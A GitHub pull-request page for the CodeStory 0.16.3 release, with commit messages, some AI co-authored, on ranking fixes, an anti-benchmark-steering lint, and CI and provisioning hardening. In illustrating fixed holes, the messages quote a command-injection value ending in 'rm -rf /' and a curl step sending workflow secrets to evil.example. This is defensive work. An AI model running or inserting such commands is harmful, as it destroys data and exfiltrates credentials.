Skip to content

Release CodeStory 0.16.3 - #1595

Merged
TheGreenCedar merged 192 commits into
mainfrom
dev/codestory-next
Jul 31, 2026
Merged

Release CodeStory 0.16.3#1595
TheGreenCedar merged 192 commits into
mainfrom
dev/codestory-next

Conversation

@TheGreenCedar

@TheGreenCedar TheGreenCedar commented Jul 29, 2026

Copy link
Copy Markdown
Owner

Release

Promote the complete CodeStory 0.16.3 candidate from dev/codestory-next to
main.

The final frozen source head is
54b4067e36ecd7dda1a0710bff1099dc0f58d726, tree
b13c24444294dff87eeffe827a5577d9a2005b9b. All support work is integrated,
including PRs #1581, #1597, #1622, and #1624.

The release fixes Windows long-path database failures, Linux cross-filesystem
first-use installation, large-repository search refusal, startup readiness,
semantic-index health reporting, shared/read-only installations, Windows runtime
cleanup and disconnect recovery, unnecessary model startup on commands that do
not search, evidence sufficiency across all six carrier flows, GPU-only
constant calibration, and duplicate Windows package builds. The public wording
is the versioned 0.16.3 section in CHANGELOG.md.

Refs #1179

Accepted candidate

  • Calibration source:
    ac2d788bd1de84ad7cc241f8d2a7efdabf8c9d35, tree
    88583ad49a26f38cfb5f00aee6aee0236a70c833.
  • Metal constant-only calibration:
    run 30590903374,
    completed in about 2m14s. The generated constant set is the sole source
    change after calibration.
  • Frozen candidate:
    54b4067e36ecd7dda1a0710bff1099dc0f58d726, tree
    b13c24444294dff87eeffe827a5577d9a2005b9b.
  • Exact-head hostile acceptance:
    run 30591167245.
  • The one broad source proof:
    run 30591388832,
    including the 9m09s workspace gate and 53s retrieval-generalization suite.
  • Frozen package and platform qualification:
    run 30592012363.
    All three packages and the Linux fresh-target boundary passed. Windows proved
    the exact package, Vulkan execution, and resident runtime before a later
    publication-fault harness process exited before its hook event. A native
    sub-90-second replay against the same cached archive
    (676be9a890898d5dce2e1bcdbfc5837aaf7086b1268d8d5b955987755d274f16)
    reached the hook, resumed, committed the manifest, and completed in 77.9s.
    No deterministic candidate defect reproduced, so no source change or
    unchanged-head rerun is justified.

Release handoff

  • Final intended source head: frozen candidate
    54b4067e36ecd7dda1a0710bff1099dc0f58d726.
  • Known future source changes: none before 0.16.3 publication. The promotion
    merge must preserve the frozen tree.
  • Proof-triggering labels or actions: none before promotion. Merging this PR
    starts Auto Release; do not manually dispatch calibration, source, package,
    hardware, or release proof.
  • Reusable evidence: exact-tree source proof
    30591388832.
    Auto Release authenticates and reuses it.
  • Invalidated evidence: every source, calibration, package, or hardware run
    predating calibration source ac2d788b or targeting an intermediate support
    head.
  • Currently running workflows: frozen qualification
    30592012363
    is finishing the Metal cell; ordinary focused PR checks may also run.
  • Next permitted mutation: after Metal completes, mark this PR ready and
    merge it with a merge commit. Do not squash or rebase.

Deliberate boundaries

  • Linux Actions accelerator evidence is optional when the protected Vulkan
    runner is unavailable. CPU embeddings and CPU fallback are forbidden.
  • The marketplace catalog is manual delivery and is not a release gate.

Merge behavior

Merging this development-branch PR is the release authority. The synchronized
version change on main starts Auto Release, which owns tag creation, GitHub
release publication, native archives, checksums, and post-publish proof. No tag
will be created manually.

TheGreenCedar and others added 30 commits July 28, 2026 02:28
Search-plan term extraction injected symbol names, multiword phrases, and
role subqueries that the question never contained: SourceGroup, BuildIndex,
IndexerCommand, EventProcessor, "exec cli"/"turn start", "collection
config"/"comment submission", plus a rule that dropped the words "root" and
"runtime" for content-flow questions. Those branches recognised four
benchmark prompts, not repository structure, so they could only help the
repositories they were written against and silently misdirect every other
one.

Term extraction, symbol-term ranking, and subquery planning now use the
query's own tokens and their shape. Whether a word names a real symbol is
answered by the indexed repository through the typed-symbol channel instead
of by a noun list in this crate, so prose questions keep that channel
without a vocabulary table. Deleting the role catalogue costs the role-named
subqueries and the storage surfaces the sourcetrail-style prompt used to
pull forward; both were products of the injected vocabulary.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The lint carried ~90 hand-written holdout literals. A hand list only bans what
someone remembered to add: it still held repositories the benchmark harness
dropped long ago, and production had drifted into spellings just outside it
("isBlank" beside a banned "StringUtils", "addRoute" beside a banned
"Engine.addRoute"). Adding a benchmark task extended the corpus but not the ban.

Banned tokens now come from the corpus itself on every run: repository names and
URL slugs, task ids, prompts, claims, expected symbols with their qualified
segments, expected files with their path windows, and the fixture file names
under benchmarks/tasks. A task manifest added tomorrow bans its own repository
tomorrow, and a family that produces no marker at all fails the lint rather than
disappearing from it. Markers stay off the product's own names: a task that runs
against this repository contributes its prompt, not the symbols we have to keep
writing.

Deriving honestly means the lint now sees benchmark-family steering that the
hand list stepped around. Those surfaces belong to the packet-code deletions and
cannot be tuned away here, so they are inventoried in
scripts/retrieval-generalization-pending.json, counted in the lint's own output,
and fail again once they stop matching, which forces the entry out with the
code. Everything outside the inventory fails immediately.

Search-plan term extraction joins the scan by name, and the lexical index no
longer drops the token "codex" from backticked query fragments: that filter
existed for one benchmark prompt.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The locals still read symbol_terms after the term catalogue went away, but
the list is every asked term, ranked by shape.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Root ranking cannot tell a call-DAG root from a widely-called leaf using
the undirected edge digest, which is why the v0.16.1 grounding replay
found zero entry-point symbols in any root set: the only graph evidence
available to the comparator was direction-blind. Expose inbound and
outbound CALL degrees separately, ignoring speculative resolutions the
same way the detail snapshot does and excluding proven test/benchmark
callers the same way the runtime caller filter does.

Delete get_grounding_named_root_symbols_for_files. Its only caller is the
grounding name catalog that this rebuild removes, and a name-matching
fetch is exactly the benchmark-shaped shortcut the v0.16.1 audit named.

Drop the payload-types clause from FileRole::classify_path. A single
framework's generated type file is a repository name in production
classification; the /generated/ and .generated. markers stay.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…ture

The v0.16.1 installed-host replay found zero entry-point symbols in any
root set, one strict map missing a major source area, and leaf aliases
outranking visible entry points. The cause was the ranking inputs: root
order came from a catalog of entry-point names and framework filenames
collected from the benchmark holdout, and graph evidence never reached
the comparator at all.

Delete both catalogs. ARCHITECTURE_ROOT_EXACT_NAMES carried the literally
banned "createapplication" and the HTTP verb route names;
architecture_path_rank carried payload.config.ts, next.config.ts,
app.svelte, page.tsx, layout.tsx and /src/collections/. Neither survives
in renamed or decomposed form.

Rank instead on verified file role as the band frame, directed CALL
degrees to refine within the band, and path structure as a tie-breaker.
A file-role Entrypoint file cannot by itself make every callable an entry
point -- mod.rs and index.ts classify that way -- so entry evidence needs
production topology or the single language literal `main`.

Fix the candidate universe rather than raising any budget: stored root
candidates are ordered by symbol kind first, which is why main() sits
below every type in its file. Declared entry files and a per-subsystem
file quota both enter the universe on structure alone. The universe is
bounded lower than before because the named-root fetch is gone.

Report GraphSignalThin and LexicalFallback, and hold confidence to an
evidence-class invariant so a map can never claim Strong while reporting
missing evidence. CompressedPresentation stays outside that invariant
because it fires on every strict budget by construction.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
architecture_coverage_for_hit was the clearest benchmark-shaped surface the
v0.16.1 audit found: 25 hardcoded path and term shapes with fixed scores,
naming one framework's config file, another repository's collection
directory, and a third's exec crate layout. It and its cross-source swap
are deleted outright, along with the cfg(test)-masked repo-text twin
catalog that the generalization lint could not see.

The ten-variant ArchitectureQueryIntent set goes with them. Its vocabulary
read generic, but its membership -- page render, data loader, auth, feed,
persistence -- tracked the holdout domains. One orientation regime gate
replaces it, built from structure-shape words with no domain noun.

New rank fields sit below source_bucket and above the name/path buckets:
entry evidence, helper demotion, and quantized directed call tiers. Below
source_bucket so graph evidence can never rescue a demoted test or vendor
hit; above the name buckets so entry points can actually outrank leaf
aliases, which is the #1338 defect. Outside the regime every new field
takes a constant, and a constant field contributes Ordering::Equal to
every comparison, so those requests keep exactly today's order.

Diversify the full list before truncating rather than swapping window
slots, so results at a smaller limit stay an exact prefix of a larger one
for a fixed candidate set. Exact matches are pinned through it.

Bridge evidence is re-keyed on the collector's structured canonical id,
owned by contracts, instead of matching substrings of a rendered display
label. Rejected hits report typed evidence instead of coverage keys.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The lint's banned holdout names only ever applied to two directories --
the agent surface and codestory-retrieval/src. The retrieval ranking
files were never in that scan, which is why a literally banned
entry-point name sat in grounding.rs through a release with this lint
green. Adding patterns without widening scope would have been inert, so
widen first: the nine files that decide root order now carry the same
name ban as the agent surface.

Then ban the decomposed shapes this rebuild removed, in both regex and
punctuation-free forms, so they cannot return as a path fragment or a
filename check rather than as one of the literal holdout names.

Widening immediately surfaced the same framework-name leak in the
runtime's own path-based file-role classifier that the store copy had;
deleted there too.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
GraphSignalThin and LexicalFallback are additive variants, so the stdio
and human output paths need their labels and notes. Both say what the
ranking could not prove rather than implying a structure claim.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The call-degree read built its candidate filter above a CTE that selected
every CALL edge in the repository, so `EXPLAIN QUERY PLAN` seeked on
`kind` alone and the cost of a bounded 992-id grounding read tracked the
repository's edge count instead of its own input. On a synthetic 800k
CALL-edge database one full grounding call cost 1822 ms and did not move
when the chunk shrank from 500 ids to 5 (890 ms vs 854 ms) -- the
uncosted full-edge-table scan on the live read path that this lane's own
design rejected.

Push the id list into each edge predicate. `COALESCE(resolved, raw) IN
(ids)` is not seekable, so each direction becomes two disjoint branches
split on `resolved IS NULL`, with `COUNT(DISTINCT ...)` over their union
so an endpoint reachable through both a resolved and an unresolved edge
still counts once. The branches pin their index because both edge
indexes match the kind prefix and SQLite otherwise reads
`resolved_target_node_id IS NULL` as the more selective equality.

Same database, same 992 ids: 1822 ms -> 18 ms, byte-identical rows.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The evidence map was built from the pre-plan hit list after it had already
been truncated to `limit_per_source`, and the plan's own discoveries were
merged in afterwards. Three consequences: the window was
min(limit, 50) rather than 50, so `--limit 5` measured five candidates;
plan-discovered hits -- which is where breadth comes from -- carried no
evidence at all, so the lane's own guarantee that graph evidence, file
role and structure reach root ordering did not hold for them; and a hit
outside the window fell back to structural_rank_inv = 0, the worst
structural value, so a plan-discovered `src/main.rs` ranked below an
in-window `src/anything.rs` as an artifact of window membership rather
than as evidence.

Build the map inside the plan, where its discoveries are already merged,
and extend it over the merged list before the final sort so every ordered
candidate is covered. Split the tiers: path-derived role, subsystem,
helper shape and structural rank are free and now apply to every
candidate, while only the store-reading graph walk stays bounded to
SEARCH_ORIENTATION_WINDOW. A candidate the walk did not reach keeps its
own structure and reports as unmeasured rather than as unreferenced.

Report `evaluated_root_candidates` as the count the walk actually
reached, not the size of the list it was drawn from -- #1338 requires
typed orientation that does not overstate graph coverage.

Replace two prefix assertions that sliced one stored Vec, which holds for
any function including one that consults the limit, with assertions that
re-run the ordering per limit.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…s them

`GROUNDING_ORIENTATION_UNCERTAINTY` is the hand-maintained enum for the
`ground` tool's declared MCP output schema, and it still listed only the
five original variants while the runtime emitted seven. The lane had even
added CLI labels for the two new ones, so they reached the human renderer
but not the schema that advertises them, and a host validating ground
output against the declared schema saw an undeclared enum value.
`--check` passed because the generator and the checked-in catalog were
stale together, agreeing with each other rather than with the DTO.

Declare both, regenerate the catalog, and pin the schema list to an
exhaustive match on the DTO so adding a variant fails the build until the
schema follows. Refresh the skill's orientation vocabulary and say what
an agent should do when either fires: verify structure with `trail`
rather than read a thin-graph order as a claim about the repository.

Also fix three CLI unit-test fixtures that never compiled after the DTO
gained its optional `orientation` field -- `cargo check -p codestory-cli`
without `--tests` does not reach them.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The scope widening this lane claimed was a nine-file allowlist, which is
the narrowing the design forbade rather than the widening it required. A
new `crates/codestory-runtime/src/root_rank_v2.rs` containing both
`createapplication` and `payload.config.ts` passed the default lint run
and exited 0, so any ranking module written tomorrow was unprotected on
the day it was written. Scan the whole runtime crate instead.

Widening surfaced three real problems, each fixed at its cause rather
than exempted:

- `semantic_file_is_package_callable_surface` still matched ten of the
  evaluation corpus's own entry filenames -- application.js, gin.go,
  nvm.sh and friends -- feeding dense-anchor selection. Deleted; those
  files still qualify through the generic layout markers beside them
  whenever a repository actually lays them out as a package surface.
- A `tests.rs` beside a `mod tests;` is the module's test body, but
  `isExcludedRustFile` only knew `tests/` directories and `_tests.rs`
  suffixes, and `maskCfgTestItems` cannot see a `#[cfg(test)]` that sits
  on the `mod` in the parent file. Excluded by basename.
- A task manifest whose repository is this one names CodeStory's own
  product symbols as its expected answer, so deriving bans from it banned
  the code under test -- `RefreshMode`, a codestory-workspace type, in
  index_coverage.rs. Self-referential manifests no longer contribute
  expected-file or expected-symbol markers; their prompt and claim
  phrasing stays banned.

Add the decomposed-evasion adjacency pattern: two generic tokens tested
close together in one condition, which is how `SourceGroup` steering
stayed under a literal-name ban.

Replace the guard meta-test's `scanned >= 88` assertion -- a count any
eighty-eight files satisfy -- with one that plants an unlisted runtime
source file and requires the lint to reject it by name.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Four ranking defects the review found, each small but each weakening a
guarantee the lane claims:

- `diversify_grounding_root_records` gave the production and secondary
  tiers a fresh seen-set each, so a secondary candidate whose name a
  production root had already spent could still claim a novel-name slot.
  One shared `RootDiversityState` now spans both tiers, which is the
  duplicate-name diversity #1338 requires stay intact.
- The per-subsystem file quota walked subsystems in key order taking two
  each and then truncated to the half-limit, so a repository with more
  than twelve subsystems saw only the alphabetically first twelve reach
  the candidate universe -- and an absent subsystem is not counted as a
  candidate, so nothing reported the omission. Round-robin the quota so
  every subsystem contributes one file before any contributes a second.
- The search surface passed `import_like: false` unconditionally while
  grounding passed the real signal, so a re-export the index resolved to
  a callable kind could be labelled a topological root on search and
  never on ground. Both surfaces now test the name shape, which is
  kind-independent and therefore right for a resolved alias.
- `search_plan_caller_is_test_or_bench` resolved a node and a file path
  for every inbound CALL edge with no cache. That pre-dates this lane,
  but the orientation regime now runs the walk for up to fifty hits, so a
  hub node cost two storage reads per caller per hit. Memoized per
  request.

Add the missing `bridge_evidence_uses_collector_canonical_ids_not_display_labels`
regression: nothing pinned `DataCollectionUsage` to the collector's
structured canonical id rather than the rendered label the deleted sniffs
read.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
A guard test that panics while holding the lint lock poisoned it for the
rest of the suite, so one real failure surfaced as seven and the root
cause was the only one not reported first. Recover the guard on poison,
as the newest test already did.

The failure that exposed this was real: a doc comment in root_rank.rs
contained "rediscover", whose substring trips the banned holdout name.
Reworded rather than weakening the pattern.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Two vocabulary tables survived the term-extraction deletion and did the same
job one file over. `repo_text_line_identifiers` treated a lowercase repo-text
token as a symbol name when it matched "auth", "feed", "posts", "storage",
"indexer", "service", "trail", or "snippet" -- eight nouns from the four
holdout domains -- and `search_plan_eligible` kept a broad plan alive when a
question hit three words from an eighteen-word architecture list. Both decided
what a question or a file was about from a table written against known
repositories, so both could only help those repositories.

Repo-text candidates are now every token the window contains, minus
language-level filler; the callers already answer them against the symbols the
repository indexed in that same file, which also admits the lowercase
single-word names Go, C, and Python declare and the old shape filter dropped.
Plan eligibility now asks whether the question names an identifier at all: a
flow question written entirely in prose got its exact hits from words the asker
used as prose, so exact-first ranking answers a question nobody asked, while a
question that spells run_index or RuntimeContext::ensure_open_from_summary is
answered by exactly those hits.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The derived ban was gated by a hand-written escape list, and the list excused
sourcegroup, buildindex, indexercommand, eventprocessor, foreignkey, formatto
and internalmutate -- the audited injection symbols themselves. A hand-kept
exclusion is the same defect as a hand-kept ban: it left the guard inert against
the very deletion this lane exists for, so the sourcetrail, codex and payload
term blocks could all be pasted back with CI green.

Exclusions are now read out of the tree like the bans are. A repository's owner
segment names a hosting account rather than a corpus, so only the repository
segment is identity and an Apache licence header no longer fails CI. A single
word this product already writes as code in its non-retrieval crates is trade
vocabulary -- serialize, subcommand, express -- and is read from those crates'
identifiers only, so neither a comment about a Sourcetrail-style format nor a
printed message about a Codex host can unlock a ban, and the retrieval and
packet surfaces under suspicion cannot vouch for their own words.

Some injections are tables of ordinary nouns that no per-word ban can catch, so
term extraction is checked structurally too: a run of bare word literals outside
the language-level stopword list is a repository's domain written into this
crate. Search planning joins the scanned files, because the injection could
otherwise move one file over and be invisible again.

The pending inventory now records how many production lines each marker
occupies, so adding steering to a listed file fails as loudly as adding it to a
clean one, and the entry has to be corrected or deleted either way. It grew from
144 to 175 entries because the derived exclusions stopped hiding surfaces the
escape list stepped around; every one of them belongs to another lane's
deletion.

The probe test that proves a new task manifest extends the ban now writes its
manifest into a task root of its own. The lint reads extra task roots
additively, so the probe no longer plants a file in the checked-in corpus that
concurrent runs -- inside the suite or outside it -- derive their bans from.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
`architecture_coverage_for_hit` and the window swap it feeds are production, and
they hardcode /exec/src/cli.rs, source_group configuration keys, /content-data/
post and comment surfaces, and a storage-access proxy path -- the same four
holdout repositories the deleted term injection was written for. Deleting that
scoring belongs to the packet-code lane, but until then nothing stopped it
growing, because the file sat outside every scan root the lint knows.

Scanning it records those seventeen markers with their line counts like every
other pending surface: the code cannot acquire another one, and removing it has
to remove the entry.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
semantic_file_is_package_callable_surface ended in a list of ten literal
file names - gin.go, nvm.sh, application.js and the rest - which are the
top-level entry files of the holdout repositories. That is benchmark
shape in a production path: it makes those repositories score well
without making anyone else's code score correctly. The path markers
above it stay, because /lib/, /src/ and /routes/ describe how packages
are laid out rather than which repository is being measured.

The generalization lint also derived bans from a task whose subject is
this repository, so RefreshMode - a codestory-workspace type - and our
own crate paths were banned from our own product. A task about CodeStory
now contributes only its benchmark-specific parts, and a test covers
both ways that rule can fail silently: under-firing bans our symbols,
over-firing disables the lint for a whole holdout repository.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…ark-filenames

stop steering dense anchors by benchmark filenames
The `.part` file is the one attacker-reachable name in the provisioning
path. It was sized with `stat`, so a symlink planted there reported the
target's length and the transfer resumed by appending release bytes
straight through the link, outside the managed cache. Size it with
`lstat`, drop anything that is not a regular file, and open it through an
explicit no-follow descriptor so the write is refused even when the link
is planted after the stat.

Managed-CLI retention compared the running CLI's probed version against
the plugin version. Those are the same string only when a release moves
both, so every plugin-only release looked like an active-version mismatch
and silently switched pruning off for the whole release. Compare CLI
identity at both sites instead.
The pinned-provision proof nested its deadline and child-exit guards inside
the catch of its runtime metadata read. Once the launcher published readable
non-managed metadata the read stopped throwing, so neither guard ran again and
the proof hung to the CI job timeout on exactly the pin and archive digest
drift the gate exists to catch. Both guards now run on every tick and the
catch only swallows an unreadable or partially written file.

search_until_ready's shared deadline was advisory because each poll's
tool_until_ready minted its own deadline from the full timeout, so a late poll
could burn another whole budget past the shared bound. tool_until_ready now
takes the caller's deadline and owns its own only when none is threaded in.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…s gate

Actions interpolation is textual, so `${{ inputs.commit }}` and
`${{ inputs.version }}` spliced into marketplace-sync run scripts executed a
dispatched value on the runner -- with the default token in the release check and
with the scoped marketplace app token in the catalog push. Both inputs now reach
the shell only through step env, and a first step refuses anything that is not a
hexadecimal commit id or a semantic version before the ref resolves or a token is
minted.

The plugin-release publish.needs assertion was a permanent no-op: its first
disjunct reduced to sameStrings([], []). Dropping it lets the comparison run, with
a scalar `needs:` normalized through the existing list helper instead of silently
passing.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The readiness projection derived freshness from manifest shape alone while
strict sidecar admission derives staleness from storage. After a core-only
refresh the two disagreed: readiness reported hybrid / semantic_ready with no
fallback for a publication admission simultaneously refused to serve, so the
agent received an error contradicting what readiness had just promised.

Fold the same storage-derived staleness admission gates on
(manifest_unavailable_reason_for_runtime) into the stale-publication
determination, so the two surfaces cannot contradict each other.

Also drop the CHANGELOG "For operators" bullet advertising freshness-cap env
overrides the code no longer reads.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The plugin lane never updated the public catalog. Preflight captured the live
marketplace revision with git ls-remote and handed it to post-publish smoke, but
preflight runs before the release exists, so that revision names the *previous*
release. Smoke then installed the previous plugin, compared it against the version
being released, and failed -- after gh release create had already made the tag and
release irreversible. Every plugin-lane release was arranged to end red with a
published tag and a catalog that never learned about it.

Give the plugin lane the same marketplace-publish job the native lane has, between
publish and post-publish-smoke: a scoped GitHub App token minted per run in the
marketplace-publish environment, in a job holding no repository write permission,
pushing the catalog at the published commit. Smoke now consumes that job's
revision, and preflight no longer captures one at all, so there is no
pre-publication revision left to reconnect by accident.

Catalog publication stays benign on failure. It runs after the release exists, so
a failed push leaves the catalog serving the previous release rather than one that
does not exist, and marketplace-sync.yml remains the recovery path.

The lane still receives and forwards no secrets: it declares no callable secret
surface, auto-release.yml still passes none, and the one credential it may read is
the marketplace app identity, only in the step that mints the token. The policy
check enforces exactly that instead of banning the string outright.

The plugin lane's job DAG now lives in release-claims.json as workflow_policy
.plugin_chain rather than as a hardcoded five-job list in the checker, which moves
the claim graph digest and re-pins it in the evidence fixtures that attest it --
including report.json's candidate_sha256, which pins candidate.json's own bytes.

Closes #1553

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The producer map learned to inherit evidence a prior run already
authenticated, but the closeout that consumes it never did. Every check
that anchors a producer row -- run identity, artifact head, job head --
compared against the publishing run and the release commit
unconditionally, so the moment release preflight selected source-proof
reuse the pre-publish closeout rejected the very rows the producer had
just verified, and publish never ran.

The closeout now anchors a row carrying reused_from to the reused run and
commit, but only after re-proving, against its own checkout, the binding
the claim graph declares for that cell's group. Verification is the same
function the producer uses, moved to the shared claim module so both
sides prove the binding the same way instead of one trusting the other's
word. A reuse block with no declared binding, a binding the group did not
declare, a commit that is not an ancestor or does not resolve to the
release tree, a recorded binding value that disagrees with what this
checkout computes, or a closeout with no verifier at all all fall back to
the same-run anchor and record why, so they fail the run identity checks
as well. Expiry, container digest, job window, and job success are
untouched and still apply to a reused artifact exactly as to a same-run
one.

Anchoring the row is necessary but not sufficient: the claim evaluator
reads each evidence row at the release commit, and a reused row was
produced at an earlier one. That is precisely what the binding equates,
so the closeout reads a binding-verified row at the release commit while
the ledger keeps the manifest identity, and the reused run and commit,
untouched. The row's own source tree is still compared against this
release, so a binding that does not equate the trees still fails closed.

The attempt cap now keys off the publishing run rather than off reuse, so
a reuse block naming the current run cannot use it to claim an attempt
that has not happened.

Closes #1552

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…sport bound

The entry-point guard the last commit added compared path.resolve(argv[1]) against
the realpath Node hands ESM in import.meta.url, so any symlink on the invocation
path made main() never run and the release gate exited 0 with no output. A gate
cannot have a guard whose failure mode is a vacuous pass: the proof is an entry
point again and always runs its body, and the bounded wait moved to
scripts/lib/wait-for-managed-runtime.mjs so the test can import it without
running the proof.

The same commit also hoisted the child-exit guard above the metadata read, which
turned a launcher that published managed metadata and then exited 0 into a
reported failure. Each tick now reads, resolves a managed source, and only then
runs the liveness guards, which keeps the drift fix without inventing a new
spurious failure on the tag path.

--timeout-ms with a missing or non-numeric value yielded NaN, and every
Date.now() > NaN is false, so the one flag that declares the bound silently
removed it. Both the script and the wait now refuse it.

tool_until_ready threaded its caller's deadline into the readiness retries but
not into the requests themselves, and send() kept minting a fresh full budget,
so search_until_ready still allowed roughly twice its declared timeout. The
deadline now reaches the transport.

The deadline self-test scripted the host at tool(), above send(), so it could
not see that overrun at all, and its default-bound leg used a converging host
whose two retries happened to sum to the timeout, so a loosened default would
still have passed. The scripted host now replaces the pipes rather than the
methods, and the default-bound leg drives a host that never becomes ready.

scripts/tests/prove-plugin-pinned-provision.test.mjs ran in no workflow. It is
now wired into plugin-static.yml and into plugin-release.yml's plugin-proof job,
paired in check-workflow-policy.mjs both places.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…t it quotes

`grep -Eq '^...$'` anchors per line, so the coordinate guard accepted any value whose
first line was well formed: `abc1234\n$(id); rm -rf /` satisfied the commit shape and
carried the payload through, and the same held for the version. The layer the workflow
leans on before the ref resolves and before the marketplace token is minted admitted
exactly the inputs it exists to refuse. Bash regex has no line concept, so the tests
now bound the value itself.

The policy around it proved little. `requireStepRun` is substring matching, so a body
of `true '<the pinned regex>'` satisfied it; the version fragment was a truncated
prefix, so dropping the closing anchor was invisible; and the ordering assertion never
said what the guard was positioned before, so the checkout could resolve `github.ref`
and stay green. Fragments now pin each anchored regex together with the comparison that
consumes it, a digest over the executable text pins the rest, the guard may not reuse
grep, and the checkout must resolve the validated input.

The digest stands for a rejection that was measured: the suite runs the guard script
straight out of the workflow against multi-line, substitution-carrying and malformed
coordinates and requires exit 1 with the guard's own diagnostic.

Scope: the same class exists in five sibling dispatch workflows and is tracked
separately, so this change stays on marketplace-sync.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Review found the two gates this PR added were both fail-open.

The replacement secret rule tripped on `key === "secrets"` or a value containing
`"secrets."`. `secrets.NAME` is only one of the ways a GitHub expression reaches
that context: `${{ toJSON(secrets) }}` dumps the whole context, `${{ secrets['NAME'] }}`
indexes it, contexts are case-insensitive so `SECRETS.NAME` also resolves, and a
walk over object entries never visits a string sitting in a bare list. All four
shapes were policy-clean, including a `curl -d "${{ secrets['...'] }}" https://evil.example`
appended to the job that tags the release. The blanket ban this replaced caught
every one of them, so the relaxation needed to admit the token step gave away
the lane's only advertised security property.

Stop pattern-matching the smuggling shapes. Redact the two permitted identity
reads at their exact position -- the marketplace token step's `app-id` and
`private-key`, each matched against its exact expression -- and require the
serialized remainder to name secrets nowhere at all. That is the same
whole-workflow scan as before with one hole cut in a known place, so it is no
weaker than the rule it replaces, and a token step that mints from a different
credential, or a second step that merely borrows its name, keeps its mention.

The plugin lane's DAG moved into `workflow_policy.plugin_chain`, and the checker
only asserts that `needs:` match whatever that data says. Nothing validated the
data. Blanking `publish` and `post-publish-smoke` to `[]` and deleting the
matching `needs:` lines left both gates green with `gh release create` running
detached from the release-authority checks and the entire plugin-proof matrix.
`release_chain` rejects the identical edit.

Give `plugin_chain` a schema in the claim graph validator, which
`loadReleaseClaimGraph` runs for the checker too: non-empty dependency lists, no
dependency on a job the lane never declares, no cycle, every job behind the
`workflow-policy` gate, and the ordering the lane exists to enforce -- tagging
behind preflight and the plugin proof, catalog publication behind the release it
advertises, install proof behind both. Data still says what the lane is; the
schema says what any lane must satisfy.

The suite certified the hole as covered: both new secret subtests exercised the
shapes that already worked. Replace them with a block that enumerates every way
of naming the context, and add one for the chain that leaves the workflow and
the graph agreeing with each other so only the schema can refuse it. Six of the
nine secret subtests and all eleven chain subtests fail without these repairs.

Known deployment precondition, unchanged by this commit: the
`marketplace-publish` environment and its two secrets do not exist in the
repository yet, so the job cannot succeed until the owner provisions them.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Anchoring a reuse row to its earlier run made the closeout read that row's
evidence at the release commit, which is exactly what the binding equates. But
that comparison in the claim evaluator was the only thing that had ever bound a
manifest's declared commit to anything at all, and reading the row at the
release commit suppressed it. The proved commit was computed, recorded, and
then never compared, so a reused row's manifest could declare any commit
whatsoever and still land in an accepted pre-publish ledger -- attesting a
commit the closeout never saw, never proved an ancestor, and never proved
tree-equal.

The proof covers exactly one commit, so that is the only commit the manifest
may declare. Producer authentication now compares the two, and the substitution
is granted to that commit alone: a row declaring any other, this release's own
included, is read as written and fails the same commit check every same-run row
faces.

Reuse also has to mean inheritance. A block naming the run that is publishing
inherits nothing and verifies vacuously under either declared binding, since a
commit is its own ancestor and its own tree. Left admissible it was a general
opt-out from the commit check for any same-run row willing to name itself. Such
a block is now refused as meaningless before any binding is proved, so the row
keeps the anchor, and the checks, it would have had with no reuse block at all.

The relocated binding verifier leaves no compatibility export behind in the
producer module, and its real-history test moves to the claim module that owns
it -- into the suite pull requests actually run rather than one only the release
workflow runs.

The second declared binding, native_fingerprint for accelerator_execution,
stays refused: that group requires source_tree, and fingerprint reuse exists
precisely because the trees differ. Widening it is a separate trust decision
from the source-proof reuse #1552 describes, so it is pinned here as a
documented refusal instead.

Refs #1552

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The previous commit constrained one component of one path, and claimed in its
own comments that this kept every provisioning byte inside the managed cache.
Three routes around it survived.

`managedCliDownloadCacheDir` built `<cache>/<version>` with
`mkdirSync({ recursive: true })`, which returns quietly when that name is
already a symlink to a directory. The partial then lives outside the cache and
a no-follow open of its final component protects nothing -- no race required.
Guard the per-version directory the way the cache root next to it already is,
and resolve both ends so a version name cannot climb out either. Provisioning
already treats a throw here as "no cache" and falls back to its temp dir, so
refusing costs resume rather than correctness.

A hard link at the partial path is a regular file to `lstat` and invisible to
`O_NOFOLLOW`. It was sized, resumed, and appended straight through into the
file it shares an inode with, and `publishDownloadedFile` then made the
"archive" a second name for it. Refuse a partial that has more than one name,
and re-check the opened descriptor with `fstat` so a link planted after the
sizing is refused too. Truncation moves onto that checked descriptor, so a
planted link is no longer emptied on the way in.

Publication renamed whatever stood at the partial path, so a link planted
after the last byte was moved into place as the archive. The transfer now
records the device and inode it actually wrote, and publication opens the
partial no-follow, refuses anything that is not that file, and re-checks the
published name afterwards. The cross-device fallback copies from the same
verified descriptor instead of re-opening by name.

Windows keeps `O_NOFOLLOW` and `O_NONBLOCK` as `0`. The `fstat`, `lstat` and
identity checks all hold there and do refuse a hard link, which Windows makes
without privilege; a symlink planted inside the stat/open window stays
unprotected on that platform, and the comment at the open now says so.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
TheGreenCedar and others added 28 commits July 30, 2026 10:59
…r-requirement

close each flow requirement with its own cited evidence
…-barrier

